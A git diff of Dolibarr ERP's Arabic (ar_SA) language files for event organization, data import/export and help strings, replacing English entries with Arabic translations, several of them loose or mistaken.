      أرسل تذكيرًا بالحدث إلى الحضور +EVENTORGANIZATION_TASK_LABELTooltip2=اتركه فارغًا إذا لم تكن بحاجة إلى إنشاء المهام تلقائيًا. +EVENTORGANIZATION_CATEG_THIRDPARTY_CONF = فئة لإضافتها إلى جهات خارجية يتم إنشاؤها تلقائيًا عندما يقترح شخص ما مؤتمرًا +EVENTORGANIZATION_CATEG_THIRDPARTY_BOOTH = فئة للإضافة إلى جهات خارجية يتم إنشاؤها تلقائيًا عندما يقترحون كشكًا +EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_CONF = نموذج بريد إلكتروني لإرساله بعد تلقي اقتراح من مؤتمر. +EVENTORGANIZATION_TEMPLATE_EMAIL_ASK_BOOTH = نموذج البريد الإلكتروني لإرساله بعد تلقي اقتراح كشك. +EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_BOOTH = نموذج البريد الإلكتروني لإرساله بعد دفع التسجيل في كشك. +EVENTORGANIZATION_TEMPLATE_EMAIL_AFT_SUBS_EVENT = نموذج بريد إلكتروني لإرساله بعد دفع رسوم التسجيل لحدث ما. +EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_SPEAKER = نموذج بريد إلكتروني لاستخدامه عند إرسال رسائل بريد إلكتروني من "إرسال رسائل بريد إلكتروني" إلى المتحدثين +EVENTORGANIZATION_TEMPLATE_EMAIL_BULK_ATTENDES = نموذج بريد إلكتروني لاستخدامه عند إرسال رسائل بريد إلكتروني من رسالة "إرسال رسائل بريد إلكتروني" في قائمة الحضور +EVENTORGANIZATION_FILTERATTENDEES_CAT = في نموذج إنشاء / إضافة أحد الحاضرين ، يقصر قائمة الأطراف الثالثة على الأطراف الثالثة في الفئة +EVENTORGANIZATION_FILTERATTENDEES_TYPE = في نموذج إنشاء / إضافة أحد الحاضرين ، يقصر قائمة الأطراف الثالثة على الأطراف الثالثة ذات الطبيعة # # Object # -EventOrganizationConfOrBooth= Conference Or Booth -ManageOrganizeEvent = Manage the organization of an event -ConferenceOrBooth = Conference Or Booth -ConferenceOrBoothTab = Conference Or Booth -AmountPaid = Amount paid -DateOfRegistration = Date of registration -ConferenceOrBoothAttendee = Conference Or Booth Attendee +EventOrganizationConfOrBooth= مؤتمر أو كشك +EventOrganizationConfOrBoothes=Conferences or Boothes +ManageOrganizeEvent = إدارة تنظيم الحدث +ConferenceOrBooth = مؤتمر أو كشك +ConferenceOrBoothTab = مؤتمر أو كشك +AmountPaid = المبلغ المدفوع +DateOfRegistration = تاريخ التسجيل +ConferenceOrBoothAttendee = حضور المؤتمر أو الكابينة +ApplicantOrVisitor=مقدم الطلب أو الزائر +Speaker=مكبر الصوت # # Template Mail # -YourOrganizationEventConfRequestWasReceived = Your request for conference was received -YourOrganizationEventBoothRequestWasReceived = Your request for booth was received -EventOrganizationEmailAskConf = Request for conference -EventOrganizationEmailAskBooth = Request for booth -EventOrganizationEmailBoothPayment = Payment of your booth -EventOrganizationEmailRegistrationPayment = Registration for an event -EventOrganizationMassEmailAttendees = Communication to attendees -EventOrganizationMassEmailSpeakers = Communication to speakers -ToSpeakers=To speakers +YourOrganizationEventConfRequestWasReceived = تم استلام طلبك لعقد المؤتمر +YourOrganizationEventBoothRequestWasReceived = تم استلام طلبك للكشك +EventOrganizationEmailAskConf = طلب مؤتمر +EventOrganizationEmailAskBooth = طلب كشك +EventOrganizationEmailBoothPayment = دفع الكشك الخاص بك +EventOrganizationEmailRegistrationPayment = التسجيل لحدث +EventOrganizationMassEmailAttendees = التواصل مع الحاضرين +EventOrganizationMassEmailSpeakers = التواصل مع المتحدثين +ToSpeakers=إلى مكبرات الصوت # # Event # -AllowUnknownPeopleSuggestConf=Allow people to suggest conferences -AllowUnknownPeopleSuggestConfHelp=Allow unknown people to suggest a conference they want to do -AllowUnknownPeopleSuggestBooth=Allow people to apply for a booth -AllowUnknownPeopleSuggestBoothHelp=Allow unknown people to apply for a booth -PriceOfRegistration=Price of registration -PriceOfRegistrationHelp=Price to pay to register or participate in the event -PriceOfBooth=Subscription price to stand a booth -PriceOfBoothHelp=Subscription price to stand a booth -EventOrganizationICSLink=Link ICS for conferences -ConferenceOrBoothInformation=Conference Or Booth informations -Attendees=Attendees -ListOfAttendeesOfEvent=List of attendees of the event project -DownloadICSLink = Download ICS link -EVENTORGANIZATION_SECUREKEY = Seed to secure the key for the public registration page to suggest a conference -SERVICE_BOOTH_LOCATION = Service used for the invoice row about a booth location -SERVICE_CONFERENCE_ATTENDEE_SUBSCRIPTION = Service used for the invoice row about an attendee subscription to an event -NbVotes=Number of votes +AllowUnknownPeopleSuggestConf=السماح للناس باقتراح المؤتمرات +AllowUnknownPeopleSuggestConfHelp=اسمح لأشخاص غير معروفين باقتراح مؤتمر يريدون القيام به +AllowUnknownPeopleSuggestBooth=اسمح للناس بالتقدم بطلب للحصول على كشك +AllowUnknownPeopleSuggestBoothHelp=السماح للأشخاص المجهولين بالتقدم بطلب للحصول على كشك +PriceOfRegistration=سعر التسجيل +PriceOfRegistrationHelp=السعر الواجب دفعه للتسجيل أو المشاركة في الحدث +PriceOfBooth=سعر الاشتراك لوقوف كشك +PriceOfBoothHelp=سعر الاشتراك لوقوف كشك +EventOrganizationICSLink=رابط ICS للمؤتمرات +ConferenceOrBoothInformation=معلومات المؤتمر أو الكابينة +Attendees=الحاضرين +ListOfAttendeesOfEvent=قائمة الحاضرين لمشروع الحدث +DownloadICSLink = رابط تحميل ICS +EVENTORGANIZATION_SECUREKEY = أنشئ لتأمين المفتاح لصفحة التسجيل العامة لاقتراح مؤتمر +SERVICE_BOOTH_LOCATION = الخدمة المستخدمة لصف الفاتورة حول موقع الكشك +SERVICE_CONFERENCE_ATTENDEE_SUBSCRIPTION = الخدمة المستخدمة لصف الفاتورة حول اشتراك حاضر في حدث +NbVotes=عدد الأصوات # # Status # EvntOrgDraft = حوالة مصرفية -EvntOrgSuggested = Suggested -EvntOrgConfirmed = Confirmed -EvntOrgNotQualified = Not Qualified +EvntOrgSuggested = مقترح +EvntOrgConfirmed = مؤكد +EvntOrgNotQualified = غير مؤهل EvntOrgDone = منتهي -EvntOrgCancelled = Cancelled +EvntOrgCancelled = ألغيت # # Public page # -SuggestForm = Suggestion page -SuggestOrVoteForConfOrBooth = Page for suggestion or vote -EvntOrgRegistrationHelpMessage = Here, you can vote for a conference or suggest a new one for the event. You can also apply to have a booth during the event. -EvntOrgRegistrationConfHelpMessage = Here, you can suggest a new conference to animate during the event. -EvntOrgRegistrationBoothHelpMessage = Here, you can apply to have a booth during the event. -ListOfSuggestedConferences = List of suggested conferences -ListOfSuggestedBooths = List of suggested booths -ListOfConferencesOrBooths=List of conferences or booths of event project -SuggestConference = Suggest a new conference -SuggestBooth = Suggest a booth -ViewAndVote = View and vote for suggested events -PublicAttendeeSubscriptionGlobalPage = Public link for registration to the event -PublicAttendeeSubscriptionPage = Public link for registration to this event only -MissingOrBadSecureKey = The security key is invalid or missing -EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event : %s -EvntOrgDuration = This conference starts on %s and ends on %s. -ConferenceAttendeeFee = Conference attendee fee for the event : '%s' occurring from %s to %s. -BoothLocationFee = Booth location for the event : '%s' occurring from %s to %s +SuggestForm = صفحة الاقتراح +SuggestOrVoteForConfOrBooth = صفحة للاقتراح أو التصويت +EvntOrgRegistrationHelpMessage = هنا ، يمكنك التصويت لعقد مؤتمر أو اقتراح مؤتمر جديد لهذا الحدث. يمكنك أيضًا تقديم طلب للحصول على كشك أثناء الحدث. +EvntOrgRegistrationConfHelpMessage = هنا ، يمكنك اقتراح مؤتمر جديد لتحريكه أثناء الحدث. +EvntOrgRegistrationBoothHelpMessage = هنا ، يمكنك تقديم طلب للحصول على كشك أثناء الحدث. +ListOfSuggestedConferences = قائمة المؤتمرات المقترحة +ListOfSuggestedBooths=Suggested booths +ListOfConferencesOrBooths=Conferences or booths of event project +SuggestConference = اقترح مؤتمر جديد +SuggestBooth = أقترح كشك +ViewAndVote = عرض والتصويت للأحداث المقترحة +PublicAttendeeSubscriptionGlobalPage = رابط عام للتسجيل في الحدث +PublicAttendeeSubscriptionPage = رابط عام للتسجيل في هذا الحدث فقط +MissingOrBadSecureKey = مفتاح الأمان غير صالح أو مفقود +EvntOrgWelcomeMessage = This form allows you to register as a new participant to the event +EvntOrgDuration = يبدأ هذا المؤتمر في %s وينتهي في %s. +ConferenceAttendeeFee = رسوم حضور المؤتمر للحدث: "%s" يحدث من %s إلى %s. +BoothLocationFee = موقع كشك الحدث: "%s" يحدث من %s إلى %s EventType = نوع الحدث -LabelOfBooth=Booth label -LabelOfconference=Conference label -ConferenceIsNotConfirmed=Registration not available, conference is not confirmed yet -DateMustBeBeforeThan=%s must be before %s -DateMustBeAfterThan=%s must be after %s +LabelOfBooth=تسمية كشك +LabelOfconference=تسمية المؤتمر +ConferenceIsNotConfirmed=التسجيل غير متاح ، لم يتم تأكيد المؤتمر بعد +DateMustBeBeforeThan=يجب أن يكون %s قبل %s +DateMustBeAfterThan=يجب أن يكون %s بعد %s +MaxNbOfAttendeesReached=The maximum number of participants has been reached +NewSubscription=تسجيل +OrganizationEventConfRequestWasReceived=تم استلام اقتراحك الخاص بالمؤتمر +OrganizationEventBoothRequestWasReceived=تم استلام طلبك الخاص بكشك +OrganizationEventPaymentOfBoothWasReceived=تم تسجيل الدفع الخاص بك لكشك +OrganizationEventPaymentOfRegistrationWasReceived=تم تسجيل الدفع الخاص بك لتسجيل الحدث الخاص بك +OrganizationEventBulkMailToAttendees=هذا تذكير بمشاركتك في الحدث بصفتك حاضرًا +OrganizationEventBulkMailToSpeakers=هذا تذكير بمشاركتك في الحدث كمتحدث +OrganizationEventLinkToThirdParty=رابط لطرف ثالث (عميل أو مورد أو شريك) +OrganizationEvenLabelName=الاسم العام للمؤتمر أو الكابينة -NewSubscription=Registration -OrganizationEventConfRequestWasReceived=Your suggestion for a conference has been received -OrganizationEventBoothRequestWasReceived=Your request for a booth has been received -OrganizationEventPaymentOfBoothWasReceived=Your payment for your booth has been recorded -OrganizationEventPaymentOfRegistrationWasReceived=Your payment for your event registration has been recorded -OrganizationEventBulkMailToAttendees=This is a remind about your participation in the event as an attendee -OrganizationEventBulkMailToSpeakers=This is a reminder on your participation in the event as a speaker -OrganizationEventLinkToThirdParty=Link to third party (customer, supplier or partner) - -NewSuggestionOfBooth=Application for a booth -NewSuggestionOfConference=Application for a conference +NewSuggestionOfBooth=طلب كشك +NewSuggestionOfConference=طلب لعقد مؤتمر # # Vote page # -EvntOrgRegistrationWelcomeMessage = Welcome on the conference or booth suggestion page. -EvntOrgRegistrationConfWelcomeMessage = Welcome on the conference suggestion page. -EvntOrgRegistrationBoothWelcomeMessage = Welcome on the booth suggestion page. -EvntOrgVoteHelpMessage = Here, you can view and vote for the suggested events for the project -VoteOk = Your vote has been accepted. -AlreadyVoted = You have already voted for this event. -VoteError = An error has occurred during the vote, please try again. +EvntOrgRegistrationWelcomeMessage = مرحبًا بكم في صفحة اقتراح المؤتمر أو الكابينة. +EvntOrgRegistrationConfWelcomeMessage = مرحبا بكم في صفحة اقتراح المؤتمر. +EvntOrgRegistrationBoothWelcomeMessage = مرحبا بكم في صفحة اقتراح الكابينة. +EvntOrgVoteHelpMessage = هنا ، يمكنك عرض الأحداث المقترحة للمشروع والتصويت عليها +VoteOk = تم قبول تصويتك. +AlreadyVoted = لقد قمت بالتصويت بالفعل لهذا الحدث. +VoteError = حدث خطأ أثناء التصويت ، يرجى المحاولة مرة أخرى. -SubscriptionOk = Your registration has been validated -ConfAttendeeSubscriptionConfirmation = Confirmation of your subscription to an event -Attendee = Attendee -PaymentConferenceAttendee = Conference attendee payment -PaymentBoothLocation = Booth location payment -DeleteConferenceOrBoothAttendee=Remove attendee -RegistrationAndPaymentWereAlreadyRecorder=A registration and a payment were already recorded for the email %s -EmailAttendee=Attendee email -EmailCompanyForInvoice=Company email (for invoice, if different of attendee email) -ErrorSeveralCompaniesWithEmailContactUs=Several companies with this email has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation -ErrorSeveralCompaniesWithNameContactUs=Several companies with this name has been found so we can't validate automaticaly your registration. Please contact us at %s for a manual validation -NoPublicActionsAllowedForThisEvent=No public actions are open to public for this event +SubscriptionOk=Your registration has been recorded +ConfAttendeeSubscriptionConfirmation = تأكيد اشتراكك في حدث +Attendee = حاضر +PaymentConferenceAttendee = دفع حضور المؤتمر +PaymentBoothLocation = دفع موقع كشك +DeleteConferenceOrBoothAttendee=قم بإزالة الحاضر +RegistrationAndPaymentWereAlreadyRecorder=تم تسجيل تسجيل ودفع بالفعل للبريد الإلكتروني %s +EmailAttendee=البريد الإلكتروني للحضور +EmailCompany=Company email +EmailCompanyForInvoice=البريد الإلكتروني للشركة (للفاتورة ، إذا كان مختلفًا عن البريد الإلكتروني للحضور) +ErrorSeveralCompaniesWithEmailContactUs=تم العثور على العديد من الشركات باستخدام هذا البريد الإلكتروني ، لذا لا يمكننا التحقق من صحة تسجيلك تلقائيًا. يرجى الاتصال بنا على %s للتحقق اليدوي +ErrorSeveralCompaniesWithNameContactUs=تم العثور على العديد من الشركات بهذا الاسم لذا لا يمكننا التحقق من صحة تسجيلك تلقائيًا. يرجى الاتصال بنا على %s للتحقق اليدوي +NoPublicActionsAllowedForThisEvent=لا توجد إجراءات عامة مفتوحة للجمهور لهذا الحدث +MaxNbOfAttendees=أقصى عدد من الحاضرين diff --git a/htdocs/langs/ar_SA/exports.lang b/htdocs/langs/ar_SA/exports.lang index 13bb0749ec4..2e5a37faed1 100644 --- a/htdocs/langs/ar_SA/exports.lang +++ b/htdocs/langs/ar_SA/exports.lang @@ -1,62 +1,64 @@ # Dolibarr language file - Source file is en_US - exports ExportsArea=صادرات -ImportArea=Import -NewExport=New Export -NewImport=New Import +ImportArea=يستورد +NewExport=تصدير جديد +NewImport=استيراد جديد ExportableDatas=تصدير البيانات ImportableDatas=بيانات وارداتها SelectExportDataSet=اختر البيانات التي تريد تصديرها... SelectImportDataSet=اختر البيانات التي تريد الاستيراد... -SelectExportFields=Choose the fields you want to export, or select a predefined export profile -SelectImportFields=Choose the source file fields you want to import and their target field in database by moving them up and down with anchor %s, or select a predefined import profile: +SelectExportFields=اختر الحقول التي تريد تصديرها ، أو حدد ملف تعريف تصدير معرف مسبقًا +SelectImportFields=اختر حقول الملف المصدر التي تريد استيرادها والحقل الهدف الخاص بها في قاعدة البيانات عن طريق تحريكها لأعلى ولأسفل باستخدام نقطة الارتساء %s ، أو حدد ملف تعريف استيراد محدد مسبقًا: NotImportedFields=حقول من الملف المصدر يتم استيراد -SaveExportModel=Save your selections as an export profile/template (for reuse). -SaveImportModel=Save this import profile (for reuse) ... +SaveExportModel=احفظ التحديدات الخاصة بك كملف تعريف / قالب تصدير (لإعادة الاستخدام). +SaveImportModel=احفظ ملف تعريف الاستيراد هذا (لإعادة استخدامه) ... ExportModelName=اسم تصدير صورة -ExportModelSaved=Export profile saved as %s. +ExportModelSaved=تم حفظ ملف تعريف التصدير كـ %s . ExportableFields=مجالات للتصدير ExportedFields=صدرت المجالات ImportModelName=استيراد صورة الاسم -ImportModelSaved=Import profile saved as %s. +ImportModelSaved=تم حفظ ملف تعريف الاستيراد كـ %s . +ImportProfile=استيراد ملف التعريف DatasetToExport=بيانات التصدير DatasetToImport=استيراد البيانات ChooseFieldsOrdersAndTitle=اختيار الحقول من أجل... FieldsTitle=عنوان الحقول FieldTitle=حقل العنوان -NowClickToGenerateToBuildExportFile=Now, select the file format in the combo box and click on "Generate" to build the export file... -AvailableFormats=Available Formats +NowClickToGenerateToBuildExportFile=الآن ، حدد تنسيق الملف في مربع التحرير والسرد وانقر فوق "إنشاء" لإنشاء ملف التصدير ... +AvailableFormats=التنسيقات المتوفرة LibraryShort=المكتبة -ExportCsvSeparator=Csv caracter separator -ImportCsvSeparator=Csv caracter separator +ExportCsvSeparator=فاصل ناقل الحركة Csv +ImportCsvSeparator=فاصل ناقل الحركة Csv Step=خطوة -FormatedImport=Import Assistant -FormatedImportDesc1=This module allows you to update existing data or add new objects into the database from a file without technical knowledge, using an assistant. -FormatedImportDesc2=First step is to choose the kind of data you want to import, then the format of the source file, then the fields you want to import. -FormatedExport=Export Assistant -FormatedExportDesc1=These tools allow the export of personalized data using an assistant, to help you in the process without requiring technical knowledge. -FormatedExportDesc2=First step is to choose a predefined dataset, then which fields you want to export, and in which order. -FormatedExportDesc3=When data to export are selected, you can choose the format of the output file. +FormatedImport=مساعد استيراد +FormatedImportDesc1=تسمح لك هذه الوحدة بتحديث البيانات الموجودة أو إضافة كائنات جديدة إلى قاعدة البيانات من ملف بدون معرفة فنية ، باستخدام مساعد. +FormatedImportDesc2=الخطوة الأولى هي اختيار نوع البيانات التي تريد استيرادها ، ثم تنسيق الملف المصدر ، ثم الحقول التي تريد استيرادها. +FormatedExport=مساعد تصدير +FormatedExportDesc1=تسمح هذه الأدوات بتصدير البيانات الشخصية باستخدام مساعد ، لمساعدتك في العملية دون الحاجة إلى معرفة فنية. +FormatedExportDesc2=تتمثل الخطوة الأولى في اختيار مجموعة بيانات محددة مسبقًا ، ثم الحقول التي تريد تصديرها ، وبأي ترتيب. +FormatedExportDesc3=عند تحديد البيانات المراد تصديرها ، يمكنك اختيار تنسيق ملف الإخراج. Sheet=ورقة NoImportableData=لا ارداتها البيانات (أي وحدة مع السماح للبيانات تعريفات الواردات) FileSuccessfullyBuilt=File generated -SQLUsedForExport=SQL Request used to extract data +SQLUsedForExport=طلب SQL يستخدم لاستخراج البيانات LineId=معرف السطر LineLabel=تسمية الخط LineDescription=وصف خط LineUnitPrice=سعر الوحدة من خط LineVATRate=ضريبة القيمة المضافة من سعر الخط LineQty=خط للكمية -LineTotalHT=Amount excl. tax for line +LineTotalHT=المبلغ غير شامل. ضريبة للخط LineTotalTTC=المبلغ تمشيا مع ضريبة LineTotalVAT=مبلغ الضريبة على القيمة المضافة لخط TypeOfLineServiceOrProduct=Type of line (0=product, 1=نوع الخط (0= منتج الخدمة= 1) FileWithDataToImport=ملف استيراد البيانات FileToImport=مصدر لاستيراد ملف -FileMustHaveOneOfFollowingFormat=File to import must have one of following formats -DownloadEmptyExample=Download template file with field content information -StarAreMandatory=* are mandatory fields -ChooseFormatOfFileToImport=Choose the file format to use as import file format by clicking on the %s icon to select it... -ChooseFileToImport=Upload file then click on the %s icon to select file as source import file... +FileMustHaveOneOfFollowingFormat=يجب أن يحتوي الملف المراد استيراده على أحد التنسيقات التالية +DownloadEmptyExampleShort=قم بتنزيل ملف عينة +DownloadEmptyExample=قم بتنزيل ملف نموذج يحتوي على أمثلة ومعلومات حول الحقول التي يمكنك استيرادها +StarAreMandatory=في ملف القالب ، جميع الحقول التي تحتوي على * هي حقول إلزامية +ChooseFormatOfFileToImport=اختر تنسيق الملف لاستخدامه كتنسيق ملف الاستيراد بالنقر فوق أيقونة %s لتحديده ... +ChooseFileToImport=قم بتحميل الملف ثم انقر فوق أيقونة %s لتحديد الملف كملف استيراد المصدر ... SourceFileFormat=مصدر تنسيق ملف FieldsInSourceFile=الحقول في ملف المصدر FieldsInTargetDatabase=الحقول المستهدفة في قاعدة بيانات Dolibarr (جريئة = إلزامي) @@ -71,67 +73,75 @@ FieldsTarget=استهداف حقول FieldTarget=استهدف حقل FieldSource=مصدر الحقل NbOfSourceLines=عدد الأسطر في الملف المصدر -NowClickToTestTheImport=Check that the file format (field and string delimiters) of your file matches the options shown and that you have omitted the header line, or these will be flagged as errors in the following simulation.
      Click on the "%s" button to run a check of the file structure/contents and simulate the import process.
      No data will be changed in your database. -RunSimulateImportFile=Run Import Simulation +NowClickToTestTheImport=تحقق من أن تنسيق الملف (محددات الحقل والسلسلة) لملفك يطابق الخيارات المعروضة وأنك حذفت سطر العنوان ، أو سيتم وضع علامة عليها كأخطاء في المحاكاة التالية.
      انقر فوق الزر " %s " لتشغيل فحص بنية / محتويات الملف ومحاكاة عملية الاستيراد.
      لن يتم تغيير أي بيانات في قاعدة البيانات الخاصة بك . +RunSimulateImportFile=قم بتشغيل محاكاة الاستيراد FieldNeedSource=يتطلب هذا المجال البيانات من الملف المصدر SomeMandatoryFieldHaveNoSource=بعض الحقول إلزامية ليس لديها مصدر من ملف البيانات InformationOnSourceFile=معلومات عن الملف المصدر InformationOnTargetTables=معلومات عن الهدف الحقول SelectAtLeastOneField=التبديل حقل واحد على الأقل مصدر في عمود من الحقول لتصدير SelectFormat=اختيار تنسيق الملف هذا الاستيراد -RunImportFile=Import Data -NowClickToRunTheImport=Check the results of the import simulation. Correct any errors and re-test.
      When the simulation reports no errors you may proceed to import the data into the database. -DataLoadedWithId=The imported data will have an additional field in each database table with this import id: %s, to allow it to be searchable in the case of investigating a problem related to this import. -ErrorMissingMandatoryValue=Mandatory data is empty in the source file for field %s. -TooMuchErrors=There are still %s other source lines with errors but output has been limited. -TooMuchWarnings=There are still %s other source lines with warnings but output has been limited. +RunImportFile=بيانات الاستيراد +NowClickToRunTheImport=تحقق من نتائج محاكاة الاستيراد. صحح أي أخطاء وأعد الاختبار.
      عندما تبلغ المحاكاة عن عدم وجود أخطاء ، يمكنك المتابعة لاستيراد البيانات إلى قاعدة البيانات. +DataLoadedWithId=ستحتوي البيانات المستوردة على حقل إضافي في كل جدول قاعدة بيانات مع معرف الاستيراد هذا: %s ، للسماح لها بأن تكون قابلة للبحث في حالة التحقيق في مشكلة متعلقة بهذا الاستيراد. +ErrorMissingMandatoryValue=البيانات الإلزامية فارغة في الملف المصدر بالعمود %s . +TooMuchErrors=لا تزال هناك خطوط مصدر أخرى %s بها أخطاء ولكن الإخراج كان محدودًا. +TooMuchWarnings=لا تزال هناك خطوط مصدر أخرى %s مع تحذيرات ولكن الإخراج كان محدودًا. EmptyLine=سيتم تجاهل سطر فارغ () -CorrectErrorBeforeRunningImport=You must correct all errors before running the definitive import. +CorrectErrorBeforeRunningImport=يجب عليك تصحيح كافة الأخطاء قبل تشغيل تشغيل الاستيراد النهائي. FileWasImported=تم استيراد ملف مع %s عدد. -YouCanUseImportIdToFindRecord=You can find all the imported records in your database by filtering on field import_key='%s'. +YouCanUseImportIdToFindRecord=يمكنك العثور على جميع السجلات المستوردة في قاعدة البيانات الخاصة بك عن طريق التصفية في الحقل import_key = '%s' . NbOfLinesOK=عدد الأسطر مع عدم وجود أخطاء وتحذيرات لا : %s. NbOfLinesImported=عدد خطوط المستوردة بنجاح : %s. DataComeFromNoWhere=قيمة لادخال تأتي من أي مكان في الملف المصدر. -DataComeFromFileFieldNb=قيمة لادخال يأتي من %s عدد الحقول في الملف المصدر. -DataComeFromIdFoundFromRef=Value that comes from field number %s of source file will be used to find the id of the parent object to use (so the object %s that has the ref. from source file must exist in the database). -DataComeFromIdFoundFromCodeId=Code that comes from field number %s of source file will be used to find the id of the parent object to use (so the code from source file must exist in the dictionary %s). Note that if you know the id, you can also use it in the source file instead of the code. Import should work in both cases. +DataComeFromFileFieldNb=تأتي القيمة المراد إدراجها من العمود %s في الملف المصدر. +DataComeFromIdFoundFromRef=The value that comes from the source file will be used to find the id of the parent object to use (so the object %s that has the ref. from source file must exist in the database). +DataComeFromIdFoundFromCodeId=The value of code that comes from source file will be used to find the id of the parent object to use (so the code from source file must exist in the dictionary %s). Note that if you know the id, you can also use it in the source file instead of the code. Import should work in both cases. DataIsInsertedInto=البيانات سوف تأتي من الملف المصدر يتم إدراجها في الحقل التالي : -DataIDSourceIsInsertedInto=The id of the parent object, that was found using the data in the source file, will be inserted into the following field: -DataCodeIDSourceIsInsertedInto=The id of the parent line, that was found from code, will be inserted into the following field: +DataIDSourceIsInsertedInto=سيتم إدخال معرف الكائن الأصل ، الذي تم العثور عليه باستخدام البيانات الموجودة في الملف المصدر ، في الحقل التالي: +DataCodeIDSourceIsInsertedInto=سيتم إدخال معرف السطر الأصل ، الذي تم العثور عليه من التعليمات البرمجية ، في الحقل التالي: SourceRequired=بيانات قيمة إلزامية SourceExample=مثال على قيمة البيانات ممكن ExampleAnyRefFoundIntoElement=أي المرجع تم العثور عليها ل %s العنصر ExampleAnyCodeOrIdFoundIntoDictionary=أي رمز (أو قيمة id) وجدت في القاموس٪ الصورة -CSVFormatDesc=Comma Separated Value file format (.csv).
      This is a text file format where fields are separated by a separator [ %s ]. If separator is found inside a field content, field is rounded by round character [ %s ]. Escape character to escape round character is [ %s ]. -Excel95FormatDesc=Excel file format (.xls)
      This is the native Excel 95 format (BIFF5). -Excel2007FormatDesc=Excel file format (.xlsx)
      This is the native Excel 2007 format (SpreadsheetML). +CSVFormatDesc= قيمة مفصولة بفاصلة تنسيق الملف (.csv).
      هذا تنسيق ملف نصي حيث يتم فصل الحقول بواسطة فاصل [%s]. إذا تم العثور على فاصل داخل محتوى الحقل ، يتم تقريب الحقل بواسطة حرف دائري [%s]. شخصية الهروب للهروب من الحرف المستدير هي [%s]. +Excel95FormatDesc= تنسيق ملف Excel (.xls)
      هذا هو تنسيق Excel 95 الأصلي (BIFF5). +Excel2007FormatDesc= تنسيق ملف Excel (.xlsx)
      هذا هو تنسيق Excel 2007 الأصلي (SpreadsheetML). TsvFormatDesc=علامة التبويب تنسيق ملف منفصل القيمة (و .tsv)
      هذا هو شكل ملف نصي حيث يتم فصل الحقول من قبل الجدوال [التبويب]. ExportFieldAutomaticallyAdded=Field %s was automatically added. It will avoid you to have similar lines to be treated as duplicate record (with this field added, all lines will own their own id and will differ). -CsvOptions=CSV format options -Separator=Field Separator -Enclosure=String Delimiter +CsvOptions=خيارات تنسيق CSV +Separator=فاصل المجال +Enclosure=محدد السلسلة SpecialCode=رمز خاص ExportStringFilter=٪٪ يسمح استبدال حرف واحد أو أكثر في النص -ExportDateFilter=YYYY, YYYYMM, YYYYMMDD: filters by one year/month/day
      YYYY+YYYY, YYYYMM+YYYYMM, YYYYMMDD+YYYYMMDD: filters over a range of years/months/days
      > YYYY, > YYYYMM, > YYYYMMDD: filters on all following years/months/days
      < YYYY, < YYYYMM, < YYYYMMDD: filters on all previous years/months/days +ExportDateFilter=YYYY، YYYYMM، YYYYMMDD: المرشحات على مدى سنة / شهر / يوم
      YYYY + YYYY، YYYYMM + YYYYMM، YYYYMMDD + YYYYMMDD: المرشحات على مدى سنوات / شهور / أيام a0342MMfccfY19 السنوات / الأشهر / الأيام التالية
      NNNNN+NNNNN filters over a range of values
      < NNNNN filters by lower values
      > NNNNN filters by higher values ImportFromLine=Import starting from line number EndAtLineNb=End at line number -ImportFromToLine=Limit range (From - To). Eg. to omit header line(s). -SetThisValueTo2ToExcludeFirstLine=For example, set this value to 3 to exclude the 2 first lines.
      If the header lines are NOT omitted, this will result in multiple errors in the Import Simulation. -KeepEmptyToGoToEndOfFile=Keep this field empty to process all lines to the end of the file. -SelectPrimaryColumnsForUpdateAttempt=Select column(s) to use as primary key for an UPDATE import -UpdateNotYetSupportedForThisImport=Update is not supported for this type of import (only insert) -NoUpdateAttempt=No update attempt was performed, only insert -ImportDataset_user_1=Users (employees or not) and properties -ComputedField=Computed field +ImportFromToLine=نطاق الحد (من - إلى). على سبيل المثال. لحذف سطر (خطوط) الرأس. +SetThisValueTo2ToExcludeFirstLine=على سبيل المثال ، اضبط هذه القيمة على 3 لاستبعاد أول سطرين.
      إذا لم يتم حذف سطور الرأس ، فسيؤدي ذلك إلى العديد من الأخطاء في محاكاة الاستيراد. +KeepEmptyToGoToEndOfFile=اترك هذا الحقل فارغًا لمعالجة جميع الأسطر حتى نهاية الملف. +SelectPrimaryColumnsForUpdateAttempt=حدد العمود (الأعمدة) لاستخدامه كمفتاح أساسي لاستيراد UPDATE +UpdateNotYetSupportedForThisImport=التحديث غير مدعوم لهذا النوع من الاستيراد (إدراج فقط) +NoUpdateAttempt=لم يتم إجراء أي محاولة تحديث ، أدخل فقط +ImportDataset_user_1=المستخدمون (موظفون أم لا) والممتلكات +ComputedField=المجال المحسوب ## filters SelectFilterFields=إذا كنت ترغب في تصفية على بعض القيم، قيم الإدخال فقط هنا. FilteredFields=الحقول التي تمت تصفيتها FilteredFieldsValues=قيمة للمرشح FormatControlRule=حكم عنصر تنسيق ## imports updates -KeysToUseForUpdates=Key (column) to use for updating existing data +KeysToUseForUpdates=مفتاح (عمود) لاستخدامه مع لتحديث البيانات الموجودة NbInsert=Number of inserted lines: %s +NbInsertSim=Number of lines that will be inserted: %s NbUpdate=Number of updated lines: %s +NbUpdateSim=Number of lines that will be updated : %s MultipleRecordFoundWithTheseFilters=Multiple records have been found with these filters: %s -StocksWithBatch=Stocks and location (warehouse) of products with batch/serial number +StocksWithBatch=مخزون وموقع (مستودع) المنتجات مع رقم الدُفعة / التسلسل +WarningFirstImportedLine=لن يتم استيراد السطر (الأسطر) الأول مع التحديد الحالي +NotUsedFields=مجالات قاعدة البيانات غير مستخدمة +SelectImportFieldsSource = اختر حقول الملف المصدر التي تريد استيرادها والحقل الهدف الخاص بها في قاعدة البيانات عن طريق اختيار الحقول في كل مربعات تحديد ، أو حدد ملف تعريف استيراد محدد مسبقًا: +MandatoryTargetFieldsNotMapped=لم يتم تعيين بعض الحقول الهدف الإلزامية +AllTargetMandatoryFieldsAreMapped=يتم تعيين كافة الحقول المستهدفة التي تحتاج إلى قيمة إلزامية +ResultOfSimulationNoError=نتيجة المحاكاة: لا خطأ diff --git a/htdocs/langs/ar_SA/help.lang b/htdocs/langs/ar_SA/help.lang index f7cf58faef5..69d52121094 100644 --- a/htdocs/langs/ar_SA/help.lang +++ b/htdocs/langs/ar_SA/help.lang @@ -1,13 +1,13 @@ # Dolibarr language file - Source file is en_US - help CommunitySupport=منتدى / ويكي الدعم EMailSupport=دعم رسائل البريد الإلكتروني -RemoteControlSupport=Online real-time / remote support +RemoteControlSupport=الدعم عبر الإنترنت في الوقت 